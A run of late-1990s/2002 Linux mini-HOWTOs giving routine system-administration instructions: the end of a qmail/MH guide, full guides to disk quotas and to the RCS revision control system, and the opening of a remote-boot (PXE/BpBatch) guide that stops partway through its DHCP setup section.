  • Find glimpse on http://glimpse.cs.arizona.edu/
  • Find Fetchmail on http://sagan.earthspace.net/~esr/fetchmail
  • Find Exmh http://www.beedub.com/exmh
  • Find Procmail ftp.informatik.rwth-aachen.de/pub/packages/promail


mini-HOWTO install qmail with MH: Disclaimers

 Next Previous Contents

10. Disclaimers

The usual no guarantees, no money back, use at your own risk.


mini-HOWTO install qmail with MH: Postscript

 Next Previous Contents

11. Postscript

Has anyone got mh working with Maildir? I have not tried - the principle of not fixing a running system. If you have got it working please mail me your instruction for inclusion in the next revision


Quota mini-HOWTO

Ralf van Dooren r.vdooren@snow.nl

v0.3, April 2002

Preamble: This document is written by Ralf van Dooren (r.vdooren@snow.nl). Original text and setup of this document is copyleft-ed by Albert M.C. Tam, many thanks to him for this initial mini-HOWTO. This document is licensed under the GNU Free Documentation License.

Permission to use, copy, distribute this document for non-commercial purposes is hereby granted, provided that the author's / editor's name and this notice appear in all copies and/or supporting documents; that this document is not modified. This document is distributed in hope that it will be useful, but WITHOUT ANY WARRANTY, either expressed or implied. While every effort has been taken to ensure the accuracy of the information documented herein, the author / editor / maintainer assumes NO RESPONSIBILITY for errors, or for damages results for the use of the information documented herein.

This document describes how to enable file system quota on a Linux host, assigning quota for users and groups, as well as the usage of miscellaneous quota commands. It is intended for users running kernel 2.x (recently tested on kernel 2.4.17).

Feel free to send feedbacks or comments to r.vdooren@snow.nl if you find an error, or if any information is missing. I appreciate it.

1. What is Quota?

2. Current Status of Quota on Linux

3. Requirements for Using Quota on Linux

  • 3.1 Kernel
  • 3.2 Quota software

4. Quota Setup on Linux - Part I: The Configuration

  • 4.1 Patch the kernel
  • 4.2 Reconfigure your kernel
  • 4.3 Compile and install the quota softwares
  • 4.4 Modify your system init script to check quota and turn quota on at boot
  • 4.5 Modify /etc/fstab
  • 4.6 Activate the quota system

5. Quota Setup on Linux - Part II: Assigning Quota for Users and Groups

  • 5.1 Assigning quota for a particular user
  • 5.2 Assigning quota for a particular group
  • 5.3 Assigning quota for a bunch of users with the same value
  • 5.4 Soft Limit
  • 5.5 Hard Limit
  • 5.6 Grace Period

6. Miscellaneous Quota Commands

  • 6.1 Quotacheck
  • 6.2 Repquota
  • 6.3 Quotaon and Quotaoff


Quota mini-HOWTO: What is Quota?

 Next Previous Contents

1. What is Quota?

Quota allows you to specify limits on two aspects of disk storage: the number of inodes a user or a group of users may possess; and the number of disk blocks that may be allocated to a user or a group of users.

The idea behind quota is that users are forced to stay under their disk consumption limit, taking away their ability to consume unlimited disk space on a system. Quota is handled on a per user, per file system basis. If there is more than one file system which a user is expected to create files, then quota must be set for each file system separately.


Quota mini-HOWTO: Current Status of Quota on Linux

 Next Previous Contents

2. Current Status of Quota on Linux

Currently, there are some major changes in the way quota works. There are two different setups. The tools works the same, but there's a difference in used files. This document describes the setup and operation of the _new_ quota setup. As the new setup of quota is not in the regular kernel source, this setup needs some patching. We will describe this patching and installation of the linuxquota package. If you already have the quota software installed on your system, you may or may not have to install this patch and package. You can email me if you have any questions about this. I'll try to include a overview of Linux distro's and it's implications in a later version of this document.


Quota mini-HOWTO: Requirements for Using Quota on Linux

 Next Previous Contents

3. Requirements for Using Quota on Linux

3.1 Kernel

The 2.x kernel source is available from

http://www.kernel.org
. Please use an available mirror close to your location to save bandwidth.

3.2 Quota software

Depending on the Linux distribution you have, you may, or may not have the quota softwares installed on your system. The most recent version of quota is available through SourceForge and is in active development. You can reach the homepage of the quota-development at

http://www.sourceforge.net/projects/linuxquota


Quota mini-HOWTO: Quota Setup on Linux - Part I: The Configuration

 Next Previous Contents

4. Quota Setup on Linux - Part I: The Configuration

4.1 Patch the kernel

Download the patch for your kernel at:

ftp://atrey.karlin.mff.cuni.cz/pub/local/jack/quota/

Choose your kernel version and download the patch. Patch your kernel with the 'patch' command.

4.2 Reconfigure your kernel

Reconfigure your kernel and add quota support by typing y to:

Quota support (CONFIG_QUOTA) [n] y

Via `make menuconfig` of `make xconfig` you can find the option to support quota under the Filesystems-menu.

Make sure the new kernel will be used when rebooting the system.

4.3 Compile and install the quota softwares

If the quota package is already in your Linux distribution, you don't have to install the quota software. If the quota package is not available in your Linux distribution, or if you wan't to install the most recent version, you can download the latest version of the quota software source from the location mentioned above.

When downloaded do:

$ gzip -dc <downloaded file> | tar xvf
$ cd quota-tools  (or whatever directory the software is put in)
$ ./configure
$ make
$ su
# make install

4.4 Modify your system init script to check quota and turn quota on at boot time

Here's an example:

# Check quota and then turn quota on.
if [ -x /usr/sbin/quotacheck ]
        then
               echo "Checking quotas. This may take some time."
               /usr/sbin/quotacheck -avug
               echo " Done."
        fi
         if [ -x /usr/sbin/quotaon ]
        then
                echo "Turning on quota."
                /usr/sbin/quotaon -avug
        fi

The golden rule is that always turn quota on after your file systems in /etc/fstab have been mounted, otherwise quota will fail to work. I recommend turning quota on right after the part where file systems are mounted in your system init script.

4.5 Modify /etc/fstab

Partitions that you have not yet enabled quota normally look something like:

/dev/hda1       /       ext2    defaults        1       1
/dev/hda2       /usr    ext2    defaults        1       1

To enable user quota support on a file system, add "usrquota" to the fourth field containing the word "defaults" (man fstab for details).

/dev/hda1       /       ext2    defaults        1       1
/dev/hda2       /usr    ext2    defaults,usrquota       1       1

Replace "usrquota" with "grpquota", should you need group quota support on a file system.

/dev/hda1       /       ext2    defaults        1       1
/dev/hda2       /usr    ext2    defaults,grpquota       1       1

Need both user quota and group quota support on a file system?

/dev/hda1       /       ext2    defaults        1       1
/dev/hda2       /usr    ext2    defaults,usrquota,grpquota       1   1

4.6 Activate the quota system

To activate the quota software you have to reboot the system for the changes you have made to take effect. The new kernel with quota support will be loaded and the startup scripts you've just created will be executed. At first run, quotacheck will generate the appropiate files to maintain the quota databases.

Add quotacheck to crontab

Although quota should work with periodical checks, it sometimes helps to run quotacheck periodically, e.g. weekly. Add the following line to your root's crontab:

0 3 * * 0 /sbin/quotacheck -avug


Quota mini-HOWTO: Quota Setup on Linux - Part II: Assigning Quota for Users and Groups

 Next Previous Contents

5. Quota Setup on Linux - Part II: Assigning Quota for Users and Groups

This operation is performed with the edquota command (`man edquota` for details).

5.1 Assigning quota for a particular user

Here's an example. I have a user with the login id bob on my system. The command "edquota -u bob" takes me into vi (or editor specified in my $EDITOR environment variable) to edit quota for user bob on each partition that has quota enabled:

Quotas for user bob:
/dev/hda3: blocks in use: 2594, limits (soft = 5000, hard = 6500)
         inodes in use: 356, limits (soft = 1000, hard = 1500)

"blocks in use" is the total number of blocks (in kilobytes) a user has consumed on a partition.

"inodes in use" is the total number of inodes a user has consumed on a partition.

5.2 Assigning quota for a particular group

Now I have a group games on my system. "edquota -g games" takes me into the vi editor again to edit quota for the group games:

        Quotas for group games:
        /dev/hda4: blocks in use: 5799, limits (soft = 8000, hard = 10000)
                inodes in use: 1454, limits (soft = 3000, hard = 4000)

5.3 Assigning quota for a bunch of users with the same value

To rapidly set quotas for, say 100 users, on my system to the same value as my user bob, I would first edit bob's quota information by hand, then execute:

edquota -p bob `awk -F: '$3 > 499 {print $1}' /etc/passwd`

assuming that you are using csh, and that you assign your user UID's starting with 500.

In addition to edquota, there are 3 terms which you should familiarize yourself with: Soft Limit, Hard Limit, and Grace Period.

5.4 Soft Limit

_Soft limit_ indicates the maximum amount of disk usage a quota user has on a partition. When combined with grace period, it acts as the border line, which a quota user is issued warnings about his impending quota violation when passed.

5.5 Hard Limit

Hard limit works only when grace period is set. It specifies the absolute limit on the disk usage, which a quota user can't go beyond his hard limit.

5.6 Grace Period

Executed with the command "edquota -t", grace period is a time limit before the soft limit is enforced for a file system with quota enabled. Time units of sec(onds), min(utes), hour(s), day(s), week(s), and month(s) can be used. This is what you'll see with the command "edquota -t":

Time units may be: days, hours, minutes, or seconds
Grace period before enforcing soft limits for users:
/dev/hda2: block grace period: 0 days, file grace period: 0 days

Change the 0 days part to any length of time you feel reasonable. I personally would choose 7 days (or 1 week).


Quota mini-HOWTO: Miscellaneous Quota Commands

 Next Previous Contents

6. Miscellaneous Quota Commands

6.1 Quotacheck

Quotacheck is used to scan a file system for disk usages, and updates the quota record file "aquota.user" to the most recent state. I recommend running quotacheck at system bootup, and via cronjob periodically (say, every week?).

6.2 Repquota

Repquota produces a summarized quota information for a file system. Here is a sample output repquota gives:

# repquota -a
                                Block limits               File limits
        User            used    soft    hard  grace    used  soft  hard  grace
        root      --  175419       0       0          14679     0     0
        bin       --   18000       0       0            735     0     0
        uucp      --     729       0       0             23     0     0
        man       --      57       0       0             10     0     0
        user1     --   13046   15360   19200            806  1500  2250
        user2     --    2838    5120    6400            377  1000  1500

6.3 Quotaon and Quotaoff

Quotaon is used to turn on quota accounting; quotaoff to turn it off. Actually both files are similar. They are executed at system startup and shutdown.


The RCS MINI-HOWTO

Robert Kiesling

v1.4, 14 August 1997

This document covers basic installation and usage of RCS, the GNU Revision Control System, under Linux. It also covers the installation of the diff(1) and diff3(1) utilities, which are necessary for RCS to operate. This document may be reproduced freely, in whole or in part, provided that any usage of this document conforms to the general copyright notice of the HOWTO series of the Linux Documentation Project. See the file COPYRIGHT for details. Send all complaints, suggestions, errata, and any miscellany to kiesling@terracom.net, so I can keep this document as complete and up to date as possible.

1. Overview of RCS.

2. System requirements.

3. Compiling RCS from Source.

4. Creating and maintaining archives.

5. ci(1) and co(1).

6. Revision histories.

7. Including RCS data in working files.

8. RCS and emacs(1) Version Control.


The RCS MINI-HOWTO: Overview of RCS.

 Next Previous Contents

1. Overview of RCS.

RCS, the revision control system, is a suite of programs that tracks changes in text files and controls shared access to files in work group situations. It is generally used to maintain source code modules. It lends itself to tracking revisions of document files as well.

RCS was written by Walter F. Tichy and Paul Eggert. The latest version which has been ported to Linux is RCS Version 5.7. There is also a semi-official, threaded version available. Much of the information in this HOWTO is taken from the RCS man pages.

RCS includes the rcs(1) program, which controls RCS archive file attributes, ci(1) and co(1), which check files in and out of RCS archives, ident(1), which searches RCS archives by keyword identifiers, rcsclean(1), a program to clean up files that are not being worked on or haven't changed, rcsdiff(1), which runs diff(1) to compare the revisions, rcsmerge(1), which merges two RCS branches into a single working file, and rlog(1), which prints RCS log messages.

Files archived by RCS may be text of any format, or binary if the diff program used to generate change files handles 8-bit data. Files may optionally include identification strings to aid in tracking by ident(1). RCS uses the utilities diff(1) and diff3(3) to generate the change files between revisions. A RCS archive consists of the initial revision of a file, which is version 1.1, and a series of change files, one for each revision. Each time a file is checked out of an archive with co(1), edited, and checked back into the archive with ci(1), the version number is increased, for example, to 1.2, 1.3, 1.4, and so on for successive revisions.

The archives themselves commonly reside in a ./RCS subdirectory, although RCS has other options for archive storage.

For an overview of RCS, see the rcsintro(1) manual page.


The RCS MINI-HOWTO: System requirements.

 Next Previous Contents

2. System requirements.

RCS needs diff(1) and diff3(3) to generate the context diff files between revisions. The diff utilities suite needs to be installed on your system, and when you install RCS, the software will check for its presence.

Precompiled diffutils binaries are available at:

ftp://sunsite.unc.edu/pub/Linux/utils/text/diffutils-2.6.bin.ELF.tar.gz
and its mirror sites. If you need to compile diff(1), et al., from source, it is located at:
ftp://prep.ai.mit.edu/pub/gnu/diffutils-2.7.tar.gz
and its mirror sites.

You will also need to have the ELF libraries installed on your system if you want to install pre-built binaries. See the ELF-HOWTO for further details.


The RCS MINI-HOWTO: Compiling RCS from Source.

 Next Previous Contents

3. Compiling RCS from Source.

Get the source distribution of RCS Version 5.7. It is available at

ftp://sunsite.unc.edu/pub/Linux/devel/vc/rcs-5.7.src.tar.gz
and its mirrors. After you have unpacked the archive into your source tree, you need to configure RCS for your system. This is done via the configure script in the source directory, which you need to execute first. This will generate a Makefile and the appropriate conf.sh for your system. You can then type
make install
which will build the binaries. At some point you may need to su to root so the binaries can be installed in the correct directories.


The RCS MINI-HOWTO: Creating and maintaining archives.

 Next Previous Contents

4. Creating and maintaining archives.

The program rcs(1) does the work or creating archives and modifying their attributes. A summary of rcs(1) options may be found in the rcs(1) manual page.

The easiest way to create an archive is first to mkdir RCS in the current directory, then initialize the archive with the

rcs -i name_of_work_file
command. This creates and archive with the name ./RCS/name_of_work_file,v and requests a text message describing the archive, but it does not deposit any revisions in the archive. You can turn on or off strict archive locking with the commands
rcs -L name_of_work_file
and
rcs -U name_of_work_file
respectively. There are other options for controlling access to the archive, setting its format, and setting revision numbers, which are covered in the rcs(1) manual page.


The RCS MINI-HOWTO: ci(1) and co(1).

 Next Previous Contents

5. ci(1) and co(1).

ci(1) and co(1) are the commands used to check files in and out of their RCS archives. The ci(1) command may also be used to a check a file both in and out of an archive. In their simplest forms, ci(1) and co(1) take only the name of the working file.

ci name_of_work_file
and
co name_of_work_file
The command form
ci -l name_of_work_file
checks in the file with locking enabled, and
co -l name_of_work_file
is performed automatically. That is, ci -l checks the file out again with locking enabled.
ci -u name_of_work_file
checks the file into the archive, and checks it out again with locking disabled. In all cases, the user is prompted for a log message.

ci(1) will also create a RCS archive if one does not exist already.

If you don't specify a revision, ci(1) increments the version number of the last revision locked in the archive, and appends the revised working file to it. If you specify a revision on an existing branch, it must be higher than the existing revision numbers. ci(1) will also create a new branch if you specify the revision of a branch which does not exist. See the ci(1) and co(1) man pages for details.

ci(1) and co(1) have various options for interactive and non-interactive use. Again, see the ci(1) and co(1) man pages for details.


The RCS MINI-HOWTO: Revision histories.

 Next Previous Contents

6. Revision histories.

The rlog(1) program provides information about the archive file and the logs of each revision stored in it. A command like

rlog work_file_name
will print the version history of the file, each revision's creation date and userids of author and the person who locked the file. You can specify archive attributes and revision parameters to view.


The RCS MINI-HOWTO: Including RCS data in working files.

 Next Previous Contents

7. Including RCS data in working files.

co(1) maintains a list of keywords of the RCS database which are expanded when the working file is checked out. The keyword $Id$ in a document will expand to a string which contains the file name, revision number, the date checked out, the author, the revision status, and the locker, if any. Including the keyword $Log$ will expand to the document's revision history log.

These and other keywords may be used as search criteria of the RCS archive. See the ident(1) man page for further details.


The RCS MINI-HOWTO: RCS and emacs(1) Version Control.

 Next Previous Contents

8. RCS and emacs(1) Version Control.

The Version Control facility of emacs(1) works as a front end to RCS. This information applies specifically to Version 19.34 of GNU Emacs, which is provided with the major Linux distributions. When editing a file with emacs(1) which is registered with RCS, the command vc-toggle-read-only (bound to C-x C-q by default) will check a file in to the emacs's Version Control, and then into RCS. Emacs will open a buffer where you can type a log message to be included in the RCS log. When you are finished typing a log entry, type C-c C-c to terminate your input and proceed with the check-in process.

If you have selected strict locking for the file with RCS, you must re-lock the file for editing by emacs(1). You can check the file out for emacs's Version Control with the command % in buffer-menu mode.

For more information, see the GNU Emacs Manual and the Emacs info pages.


Linux Remote-Boot mini-HOWTO: Configuring Remote-Boot Workstations with Linux, DOS, Windows 95/98 and Windows NT

Marc Vuilleumier Stückelberg, David Clerc

v3.19, February 1999

This document describes how to set up a very robust and secure server-based configuration for a cluster of PCs, allowing each client to choose at boot-time which operating system to run. The key of this configuration is a bootprom based program, which let the user choose at boot time one of several boot images. This configuration is applicable using InCom TCP/IP Bootprom (add-on for most network cards) or any PXE-compliant Boot ROM (ready-to-use in most recent PC with built-in network cards). The most up-to-date version of this document, with hypertext links to downloadable software and other related materials, can be found at the address http://cuiwww.unige.ch/info/pc/remote-boot/howto.html. Linuxdoc-SGML, DVI and PostScript versions are available in the same directory. If you are interested in getting info on further developpments, send an E-mail to David.Clerc@cui.unige.ch.

1. Disclaimer and Copyrights

2. What has changed...

  • 2.1 ...since version 2.x ?
  • 2.2 ...since version 3.0 ?

3. Introduction

  • 3.1 Boot ROM and Hard-disk
  • 3.2 The Network
  • 3.3 How it Works
  • 3.4 Related non-commercial documentations

4. The Configuration How-To

  • 4.1 Server-side configuration
  • 4.2 Client-side configuration
  • 4.3 Setting Up the Boot Process
  • 4.4 Setting Up Linux
  • 4.5 Setting up DOS 6 and Windows 3.1
  • 4.6 Setting up Windows 95
  • 4.7 Setting up Windows NT
  • 4.8 Troubleshooting (FAQ)

5. Remote-Boot Tools Reference Manual

  • 5.1 BpBatch, MrBatch and MrZip
  • 5.2 NoBreak.sys

6. Special TFTP Servers

  • 6.1 Incom Enhanced TFTP Server
  • 6.2 Linux Enhanced TFTP Server
  • 6.3 The Security Gateway
  • 6.4 The Broadcast TFTP Server


Linux Remote-Boot mini-HOWTO: Configuring Remote-Boot Workstations with Linux, DOS, Windows 95/98 and Windows NT: Disclaimer and Copyrights

 Next Previous Contents

1. Disclaimer and Copyrights

This document and the related software are provided as is to the Linux and Internet community, with no form of warranty. Please note that some operations related in this document may destroy the content of your hard-disk. We assume no liability for any use, correct or not, of this document and of the related software.

You are free to do anything you want with the remote-boot tools as long as you do not make money by selling them or by distributing them with a commercial product. If you want to commercialize a product derived from these tools, please contact the authors first to make a commercial agreement. These remote-boot tools will remain available for free forever, but we may authorize derived commercial tools.

These provisions shall be interpreted under and in accordance with the laws of Switzerland, canton of Geneva. All disputes, defenses, controversies or claims arrising in conncetion with this document and the related software, shall be subject to the exclusive juridiction of the courts of the canton of Geneva, Switzerland.

If you like this program, you can send us a Postcard and/or make a gift to the International Committee of the Red Cross (ICRC) or to the UNICEF.


Linux Remote-Boot mini-HOWTO: Configuring Remote-Boot Workstations with Linux, DOS, Windows 95/98 and Windows NT: What has changed...

 Next Previous Contents

2. What has changed...

2.1 ...since version 2.x ?

To say it frankly, almost everything. The underlying concepts are the same, but the software part has been completly redesigned to overcome the limitations of previous versions and to make it easier to use. An highlight of the new features :

  • All functions (bpmenu, bpclean, bpunzip) are encompassed in a single program.
  • The program can run not only from the boot rom, but also under DOS, Windows 95 and Linux.
  • The program can now restore images of FAT16, FAT32 and EXT2FS partitions. If someone want to write NTFS support, let me know... For now, NT users still have to stick to FAT16.
  • The program can not only restore disk images but also add and patch individual files in order to customize the client behaviour.
  • Disk images are not any more bound to 87 MB. They are now file-system independant archives.
  • We provide a mean for automatically downloading a disk image to an arbitrary big number of clients at the same time (broadcast).
  • You can now write your own secure boot script, that will determine the behaviour of the machine before the real boot.
  • You can now boot any Linux kernel, without applying any patch. Its is also possible to provide a command line and a ramdisk image.
  • You can authenticate users at boot time using a Unix, NT or Radius server and deny them any access to the machine.
  • Full national language support is included.
  • And many, many other new features...
Is there a program for converting old archives to the new format ?

No, because the internal format is radically different. But you can easily do the conversion by yourself:

  1. Boot an old image (unzip it to your disk)
  2. Remove calls to the old unzipreg utility and replace them by the adequate patch commands (it is very easy, see the detailed instructions below)
  3. Run the new mrzip program to create a new-style disk image

2.2 ...since version 3.0 ?

Version 3.0 was the beta-release. A dozen of sites around the world have tested it during a month and given much of their time to help us finding bugs and to suggest enhancements. Thanks to all of them for their patience, and in particular to Maciek Uhlig, Dick Velders and Jeff Teeters.

A few minor features have been added since 3.01, such as support for diskless Linux boot (by disabling the cache).

Version 3.10 introduced compatibility with Intel's Wired for Management 1.1a NetPC standard. The tools now work with any PXE-compliant boot ROM (as are most on-board boot ROMs) available today. Thanks to InCom GmbH for giving us the PXE bootprom that permitted this developpment. We also succesfully tested the tools with the PXE Boot ROM that I found incidentally in my Dell computer with onboard network card (called LanDesk Service Agent).

Version 3.11 to 3.12 added UNIX server-side tools (a PXE Proxy DHCP server for Solaris and Linux, and an enhanced TFTP server for Linux), as well as detailled informations on server-side setup and the PXE booting process.

Version 3.13 added Advanced Power Management support (PowerOff command).

Version 3.14 added minor enhancements and some corrections. We fixed a problem with the terminal under RedHat 5.1, and another problem in the syntax of the "if" command. We added some features suggested by the Laboratori de Càlcul de la Facultat d'Informàtica de Barcelona (LCFIB) :

  • A new APM variable let you know if your system support the Advanced Power Management (i.e it supports the poweroff command).
  • A "beep" command.
  • A new parameter to DrawWindow, to include a title at the window creation. You can now do DrawWindow 200 200 400 200 "Title".

Version 3.15 added full VESA support. BpBatch now support several video modes, to accomodate old computers not being able to display 800x600 graphics. A new parameter has been added to InitGraph to specify the video mode, and a list of detected video mode can be retrieved from the new VESA-Modes variable.

Version 3.16 fixes the following bugs:

  • "Malloc failed" during the Fullunzip process of a multiple fragments image. Many thanks to Christian Meyer for his collaboration.
  • A bug which prevented the linux version of MrBatch to properly fullunzip images. This bug was located in the low-level functions of MrBatch, so it may fix other problems encountered in the linux version of MrBatch. Many thanks to Jeff Teeters for his collaboration.
  • An error in the codepage translation tables. This bug was found by the Laboratori de Càlcul de la Facultat d'Informàtica de Barcelona (LCFIB). You can find the bug report in the BpBatch forum.

Version 3.17 adds some minor features and fixes bugs:

  • Fullunzip was turning Extended Memory off
  • Booting on the RedHat boot disk now works
  • When extracting images with a large number of directories, the resulting FAT file system was corrupted.
  • We added retries to text TFTP transfers. BpBatch will now retry three times before saying "Could not transfer the file".
  • Timestamps are now correctly updated in FAT. (thank to Francis Chan)

Version 3.18 fixes a bug with the IncrUnzip function. Thanks to Gary Pike for its collaboration.

Version 3.19 fixed a bug in the error handling of the delete command on ext2fs, as well as the inappropriate handling of names starting with A: under Linux. The following new features were also added:

  • A new if valid disk:partition syntax can be used to check if a partition has been formatted
  • FAT32 disk images are now fully functional (they now boot properly)
  • Linux EXT2 partitions bigger than 2 GB are now supported
  • Linux Swap partitions bigger than 128 MB are now supported (this feature needs a recent kernel, at least 2.1.x)
  • FullUnzip is now also possible without a cache partition, by setting CacheNever to "ON". This might be usefull for a unique installation, but is not recommended in general is it results in a high network load.
Thanks to Ruben Schattevoy for its help and contributions to this release.


Linux Remote-Boot mini-HOWTO: Configuring Remote-Boot Workstations with Linux, DOS, Windows 95/98 and Windows NT: Introduction

 Next Previous Contents

3. Introduction

The configuration described here was developped since Summer 1996 at the CUI, University of Geneva. The Computer Science Department uses several servers and a number of PCs, which fall into two classes:

  • computers devoted to students
  • computers devoted to research and teaching assistants
We developped the current configuration with the following aims:
  • Every computer should be able to run under Linux, DOS, Windows 3.1, Windows 95 or Windows NT. One should be able to choose the desired operating system for each session.
  • All softwares, including operating systems, should be take from the server, in order to facilitate the installations and upgrades.
  • Clients computers should be able to run without any write-access on the server (for security reasons), except for their home directory.
  • Client-side configuration should be reduced to its very minimum. Clients should automatically get their IP configuration parameters from the server, and this information should be located in a single file, used for all operating systems.
  • Since almost every computer now has a hard-disk, clients should be able to take profit of it for reducing network load and as temporary storage space for the user.
  • Users must have a login to be able to use any of the computers.
  • The login should be the same for all operating system and should let the user access its unique home directory, common to all operating systems.
  • Student (and secretary :-) computers should be fully cleaned up at each start. That is, the PC should always look like if it were just installed.
  • Every computer has to be protected from virus attacks.
These constraints lead us to base our configuration on bootprom tools. We first developped new tools for the excellent TCP/IP Bootprom from InCom GmbH. Now that a standard for preboot execution environments as finally emerged, we ported the tools so that it now also works for any PXE-compliant bootprom. PXE boot roms, also called LanDesk Service Agent, are now distributed with almost all on-board network adapter. For more info on PXE and Intel Wired for Management standard in general, read from http://www.intel.com/managedpc.

3.1 Boot ROM and Hard-disk

Bootproms exist for quite a long time, but until recently, they were solely used with diskless computers. Since 1996, this How-to has been claiming that bootproms are even more interesting for computers which have a local harddisk, since they allow to take profit of both sides:

  • A boot rom make the configurations more robust, since it ensure that the computer will always boot the same way, no matter any virus or partition table crash. It can be used, as we did, to cleanup the harddisk even before the operating system is loaded.
  • A local harddisk make the configuration more efficient, since it can reduce the network trafic through caching, and allows for efficient swap.
Today, we have the pleasure to see that all computer manufacturers have come to the same point and provide boot roms as part of new computer standards.

Note that you can still use the tools described below in an old fashioned way, that is as a simple kernel/ramdisk loader, even for diskless computers. However, we do not encourage this use.

3.2 The Network

The University of Geneva owns a class B domain, subdivided into several subnets. The CUI uses four subnets, among them one is dedicated to students.

Originally, our PCs were concerned about two network protocols: IPX and IP. On the IPX side, we used a single Novell Netware 3 server for sharing software and users files for DOS and Windows. On the IP side, we used a SUN server for sharing software and users partitions for Linux, with NFS.

In our latest configuration, we do not any more use IPX. There is a single Unix server (which could be Linux as well as a SUN), sharing software and user files using NFS for Linux clients and using SMB (NetBIOS) over TCP/IP for Dos and Windows clients. In this way, we have a single home directory used by all operating systems.

3.3 How it Works

  1. When a client PC is turned on, it first performs the traditional system checks before the TCP/IP Bootprom or PXE Boot ROM takes the control.
  2. The bootprom issues a BOOTP/DHCP request in order to get its IP configuration parameters.
  3. If the server knows the PC issuing the request, it will send back a BOOTP/DHCP reply with informations such as the client's IP address, the default gateway, and which bootdisk image to use.
  4. In case of a PXE boot ROM, there might be some more exchanges between the client and the server to determine installation parameters.
  5. The bootprom then downloads the boot image from the server using the TFTP protocol. The boot image happens to be a small program called bpbatch, our boot-time batch file interpreter.
  6. The batch interpreter is started. At this time, it is almost alone in the computer memory. There is no operating system loaded, except the preboot execution environment (offered by the Boot ROM).
  7. The batch interpreter look in the BOOTP/DHCP reply for command-line options, and in particular for the name of the batch to execute.
  8. According to the instructions in the batch file, it will for instance:
    1. Load a national keyboard mapping
    2. Authenticate the user according to a remote server (Unix, Radius or Windows NT)
    3. Let the user choose between the available operating systems
    4. According to the operating system choosen, repartition the hard-disk and quick-format some partitions
    5. Check if an up-to-date compressed image of the selected OS is present at the end of the disk. If not, it download it using TFTP
    6. Uncompress the selected OS to the main partition
    7. If the selected OS is Linux, load a kernel and start it
    8. If the selected OS is DOS or Windows, simply let the computer boot on its fresh new hard-disk
    For DOS and Windows 3.1, we use the freely available Microsoft LanManager for DOS (search the network for the mirror nearest to you; the distribution consists of three files named disk1 to disk4) as SMB client. Microsoft LanManager supports dynamic configuration using DHCP. After logging in, the user is faced to DOS, and can start Windows 3.1 by typing the traditional win command. Note that at this point, DOS and Windows 3.1 appear to be installed locally. For Windows 95 and Windows NT, we also use Microsoft SMB client (called Client for the Microsoft Network), that supports dynamic configuration using DHCP. We reduce network load using Shared LAN Cache, a nice and powerful network-to-disk cache program.
Students computers can be turned off the hard way at any time without risks, since the hard disk is reinitialized at each start.

For "safe" computers (ie. for assistants computers), once the computer has been booted once using the above described system, the boot script simply redirect the boot to the local hard-disk, without cleaning it again. This allow users to leave data on their local hard disk. But whenever the configuration gets corrupted, the user can simply choose from the boot menu in order to have a fresh installation.

3.4 Related non-commercial documentations

This configuration has been successfully reproduced at several places around the world. A few people have written some hints and tricks that complement this How-To. If you did so and that your page is not already referenced in this documentation, please send an e-mail to Marc.VuilleumierStuckelberg@cui.unige.ch. And if you experience problems while reproducing this configuration, have a look at these pages !

  • http://www.br.fgov.be/RESEARCH/INFORMATICS/info/bootp.html, by Alain Empain of the Belgium National Botanic Garden. Many useful sample scripts, and a nice PERL program to automatically generate graphic menus and corresponding HTML documentation from a higher level description.
  • http://www.katedral.se/system/elevsyst, by Johan Carlstedt of The Cathedral School of Uppsala, Sweden. At this day, the configuration described at this place is still based on the previous version of the remote-boot tools. However, almost everything remains applicable, given a few changes.
  • http://vitoria.upf.tche.br/~fred/, in portuguese, by Frederico Goldschmidt of the Passo Fundo University, Brasil.
  • http://www.etse.urv.es/~larinyo, in spanish, by Lluis Arino, of the Escola Tecnica Superio d'Enginyeria, Spain.

You can also send me your BpBatch script if you want me to include it in the sample scripts collection.


Linux Remote-Boot mini-HOWTO: Configuring Remote-Boot Workstations with Linux, DOS, Windows 95/98 and Windows NT: The Configuration How-To

 Next Previous Contents

4. The Configuration How-To

First, arrange to have the following two machines within arm's reach:

  • the server, usually a Unix or Windows NT machine
  • the client, a PC with a bootprom enabled, and nothing valuable on the hard disk.
If you want to test the configuration but you do not yet have a bootprom, you can download the TCP/IP BootProm demo diskette from InCom GmbH at http://www.incom.de. This diskette will make your computer behave like if it had a TCP/IP Bootprom plugged in.

If you already have a Boot ROM, you need to enable it. If you are using Incom TCP/IP Bootprom, you can do that using a special program from your network card manufacturer. If you have a PXE Bootprom, you can do it simply from BIOS setup, by changing the default boot device.

For student computers, we configured the boot on network first, and disabled hard-disk and floppy-disk boot. For assistant computers, we also configured network-boot first, but we allow hard-disk and floppy-disk boot.

4.1 Server-side configuration

On the server, you will need the following services:

  1. A BOOTP/DHCP server
  2. May be a Proxy DHCP server
  3. A TFTP server
Note for PXE Boot ROM users: We found after severals hours of tedious search that PXE Boot ROMs with version before 0.99 do not follow the IP protocol and discard all packets that have the Don't Fragment (DF) flag set. That means, you will have to disable Path MTU Discovery on the server, or the Boot ROM will not see any of its packets. On Solaris, use ndd /dev/ip ip_path_mtu_discovery to see if you have it enabled and ndd -set /dev/ip ip_path_mtu_discovery 0 to disable it. However, this fix only works for non-broadcast packets (ask SUN why...). That means, it will work for TFTP but not for DHCP :-(. Intel has recently fixed this bug, and if you bought your computer after June 1998, you surely have a corrected PXE implementation.

Setting up DHCP

The role of the DHCP server is to give to the client an IP address and to make it load the file named bpbatch.P from the TFTP server. DHCP is a superprotocol over BOOTP. If you are using InCom TCP/IP Bootprom, you may live without DHCP (using an old BOOTP server).

On Windows NT, you will probably use the native DHCP server. If you are using InCom TCP/IP Bootprom, you will have to use a special trick to specify the boot file name (get more info from InCom WWW site). If you are using a PXE Bootrom, you will need a Proxy DHCP server, but no other trick is needed as the boot file name will be provided by the Proxy DHCP server.

On Linux, the best choice is the standard DHCP server from the Internet Software Consortium. If you are using a PXE Bootrom, in addition to the usual options, you will need to add the following ones:

  • option dhcp-class-identifier "PXEClient"
  • option vendor-encapsulated-options ff;

On Solaris, you can either use the Internet Software Consortium DHCP server (available on the Web), or use Solaris DHCP server (available since Solaris 2.5). However, as Solaris DHCP server does not seems to be able to insert a client class identifier in its DHCP offer, you must install a Proxy DHCP server. Morever, this Proxy DHCP server must reside on another computer since Solaris DHCP server locks the DHCP port.

We suggest giving infinite lease time for remote-boot clients. Don't forget that BOOTP/DHCP requests are bounded by subnets. If the client and the server do not reside on the same subnet, you should install a BOOTP/DHCP Relay agent on any computer between the two. For now, just assume that both machines are on the same subnet.

Setting up a Proxy DHCP

The role of the Proxy DHCP server is to overcome limitions of some DHCP servers and to provide PXE specific extensions. A proxy DHCP server only makes sense for a PXE Boot rom.

